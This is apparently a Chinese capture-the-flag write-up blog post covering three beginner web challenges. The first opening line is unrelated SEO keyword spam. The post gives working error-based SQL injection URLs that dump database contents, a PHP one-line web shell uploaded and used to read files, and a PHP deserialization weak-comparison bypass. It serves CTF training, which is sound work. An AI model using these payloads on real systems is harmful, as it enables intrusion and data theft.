自己做网站 最好的软件下载,河南网站建设的公司,湘潭九华网站,深圳装饰公司100排名目录 [SWPUCTF 2021 新生赛]error
1、题目
2、知识点
3、思路
[LitCTF 2023]作业管理系统
1、题目
2、知识点
3、思路
[HUBUCTF 2022 新生赛]checkin
1、题目
2、知识点
3、思路 [SWPUCTF 2021 新生赛]error
1、题目 2、知识点
数据库注入、报错注入
3、思路 首先…目录 [SWPUCTF 2021 新生赛]error
1、题目
2、知识点
3、思路
[LitCTF 2023]作业管理系统
1、题目
2、知识点
3、思路
[HUBUCTF 2022 新生赛]checkin
1、题目
2、知识点
3、思路 [SWPUCTF 2021 新生赛]error
1、题目 2、知识点
数据库注入、报错注入
3、思路 首先输入一个1 输入1 数据库语句报错且报错信息有回显出来加入注释符 正常回显说明当前的闭合方式正确为单引号的闭合使用报错函数extractvalue http://node4.anna.nssctf.cn:28465/index.php?id1 and extractvalue(1,concat(0x7e,database())) -- 得到数据库名为test_db http://node4.anna.nssctf.cn:28465/index.php?id1 and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schematest_db))) -- 得到两个表test_tb,users http://node4.anna.nssctf.cn:28465/index.php?id1 and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schematest_db and table_nametest_tb))) -- test_tb表的两个字段为id,flag http://node4.anna.nssctf.cn:28465/index.php?id1 and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schematest_db and table_nameusers))) -- users表的三个字段id,username,password http://node4.anna.nssctf.cn:28465/index.php?id1 and extractvalue(1,concat(0x7e,(select group_concat(flag) from test_db.test_tb))) -- 得到flag的前半段这里以为另外一半藏到别的地方其实是没完全显示出来使用函数substring substring() http://node4.anna.nssctf.cn:28465/index.php?id1 and extractvalue(1,concat(0x7e,(select substring(group_concat(flag),32,30) from test_db.test_tb))) -- 合并起来的flagNSSCTF{eed0ee27-1b46-4520-a7b5-71dd9183d446} [LitCTF 2023]作业管理系统
1、题目 2、知识点
文件上传蚁剑连接
3、思路 右键查看源码发现登录名和密码 登录上去 这里有很多功能我们可以上传一句话木马文件 flag.php ?php eval($_POST[cmd]); #一句话木马 ? 这里我们可以知道上传到根目录下 上传成功后使用蚁剑连接 连接成功后在根目录找到flag文件 打开flag文件得到flag 得到flag
NSSCTF{d0dc1586-48ed-4661-8b97-02fd17bf0cd4} [HUBUCTF 2022 新生赛]checkin
1、题目 2、知识点
PHP反序列化数组
3、思路 题目给了我们一段代码 $data_unserialize[username]$username$data_unserialize[password]$password 审计代码意思是username和password的值反序列后的值要相同这里使用了弱类型比较 代码中给了两个值先进行序列化后上传看看使用在线网站 PHP 在线工具 | 菜鸟工具 (jyshare.com) ?php $info array( usernamethis_is_secret, passwordthis_is_not_known_to_you ); echo serialize($info); http://node5.anna.nssctf.cn:25489/?infoa:2:{s:8:username;s:14:this_is_secret;s:8:password;s:24:this_is_not_known_to_you;} flag没有出来因为username和password的值更改了我们不知道具体的值是什么
这里我们就要考虑怎么使两个值相同 弱比较中true和非空、非零字符串弱比较都是为true所以我们使两个字段的值都为true ?php $info array( usernametrue, passwordtrue ); echo serialize($info); 将得到的值传给info 得到flag:NSSCTF{5713f43e-708e-458e-a6fc-fd82c254f8d3} 这篇文章就先写到这里啦哪里不懂的或者哪里不足的欢迎批评指正
